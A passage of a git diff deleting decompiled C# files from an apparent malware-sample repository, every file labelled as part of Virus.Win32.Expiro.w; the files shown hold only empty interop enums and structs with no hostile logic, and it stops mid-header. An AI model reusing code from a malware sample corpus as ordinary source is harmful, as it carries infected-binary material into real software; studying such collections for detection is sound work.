C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 60)] -internal struct tagTEXTMETRICW -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTYMED.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTYMED.cs deleted file mode 100644 index e10ab4e9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTYMED.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTYMED -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagTYMED -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTYPEFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTYPEFLAGS.cs deleted file mode 100644 index 11f85876..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTYPEFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTYPEFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagTYPEFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTYPEKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTYPEKIND.cs deleted file mode 100644 index 4ef70666..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTYPEKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTYPEKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagTYPEKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTYSPEC.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTYSPEC.cs deleted file mode 100644 index 9a197cb3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTYSPEC.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTYSPEC -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagTYSPEC -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagUASFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagUASFLAGS.cs deleted file mode 100644 index 542842af..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagUASFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagUASFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagUASFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagURLTEMPLATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagURLTEMPLATE.cs deleted file mode 100644 index 7bff851d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagURLTEMPLATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagURLTEMPLATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagURLTEMPLATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagURLZONE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagURLZONE.cs deleted file mode 100644 index e8265213..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagURLZONE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagURLZONE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagURLZONE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagUSERCLASSTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagUSERCLASSTYPE.cs deleted file mode 100644 index a69bcbb7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagUSERCLASSTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagUSERCLASSTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagUSERCLASSTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagVARFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagVARFLAGS.cs deleted file mode 100644 index 304aa798..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagVARFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagVARFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagVARFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagVARIANT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagVARIANT.cs deleted file mode 100644 index 8607d920..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagVARIANT.cs +++ /dev/null @@ -1,74 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagVARIANT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 16)] -internal struct tagVARIANT -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(66)] - [StructLayout(LayoutKind.Explicit, Size = 16)] - internal struct \u0024UnnamedClass\u00240x94723e1f\u0024208\u0024 - { - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0024UnnamedClass\u00240x94723e1f\u0024209\u0024 - { - [MiscellaneousBits(66)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Explicit, Size = 8)] - internal struct \u0024UnnamedClass\u00240x94723e1f\u0024210\u0024 - { - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 8)] - internal struct \u0024UnnamedClass\u00240x94723e1f\u0024211\u0024 - { - } - } - } - } - - [MiscellaneousBits(66)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Explicit, Size = 16)] - internal struct \u0024UnnamedClass\u00240x61d4662f\u0024148\u0024 - { - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0024UnnamedClass\u00240x61d4662f\u0024149\u0024 - { - [MiscellaneousBits(66)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Explicit, Size = 8)] - internal struct \u0024UnnamedClass\u00240x61d4662f\u0024150\u0024 - { - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 8)] - internal struct \u0024UnnamedClass\u00240x61d4662f\u0024151\u0024 - { - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagVARKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagVARKIND.cs deleted file mode 100644 index 2712f42e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagVARKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagVARKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagVARKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagVIEWSTATUS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagVIEWSTATUS.cs deleted file mode 100644 index b86da9a8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagVIEWSTATUS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagVIEWSTATUS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagVIEWSTATUS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagXFORMCOORDS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagXFORMCOORDS.cs deleted file mode 100644 index 2faef31b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagXFORMCOORDS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagXFORMCOORDS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagXFORMCOORDS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagXMLEMEM_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagXMLEMEM_TYPE.cs deleted file mode 100644 index a82ff031..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagXMLEMEM_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagXMLEMEM_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagXMLEMEM_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_CIMTYPE_ENUMERATION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_CIMTYPE_ENUMERATION.cs deleted file mode 100644 index 04b5c502..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_CIMTYPE_ENUMERATION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_CIMTYPE_ENUMERATION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tag_CIMTYPE_ENUMERATION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEMSTATUS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEMSTATUS.cs deleted file mode 100644 index 2c0c3102..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEMSTATUS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEMSTATUS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tag_WBEMSTATUS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEMSTATUS_FORMAT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEMSTATUS_FORMAT.cs deleted file mode 100644 index 622818fa..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEMSTATUS_FORMAT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEMSTATUS_FORMAT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tag_WBEMSTATUS_FORMAT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_BACKUP_RESTORE_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_BACKUP_RESTORE_FLAGS.cs deleted file mode 100644 index 339a3648..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_BACKUP_RESTORE_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_BACKUP_RESTORE_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tag_WBEM_BACKUP_RESTORE_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_CHANGE_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_CHANGE_FLAG_TYPE.cs deleted file mode 100644 index f1c508e2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_CHANGE_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_CHANGE_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tag_WBEM_CHANGE_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_COMPARISON_FLAG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_COMPARISON_FLAG.cs deleted file mode 100644 index ece58e91..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_COMPARISON_FLAG.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_COMPARISON_FLAG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tag_WBEM_COMPARISON_FLAG -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_COMPILER_OPTIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_COMPILER_OPTIONS.cs deleted file mode 100644 index 053129bb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_COMPILER_OPTIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_COMPILER_OPTIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tag_WBEM_COMPILER_OPTIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_CONDITION_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_CONDITION_FLAG_TYPE.cs deleted file mode 100644 index 59b72127..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_CONDITION_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_CONDITION_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: 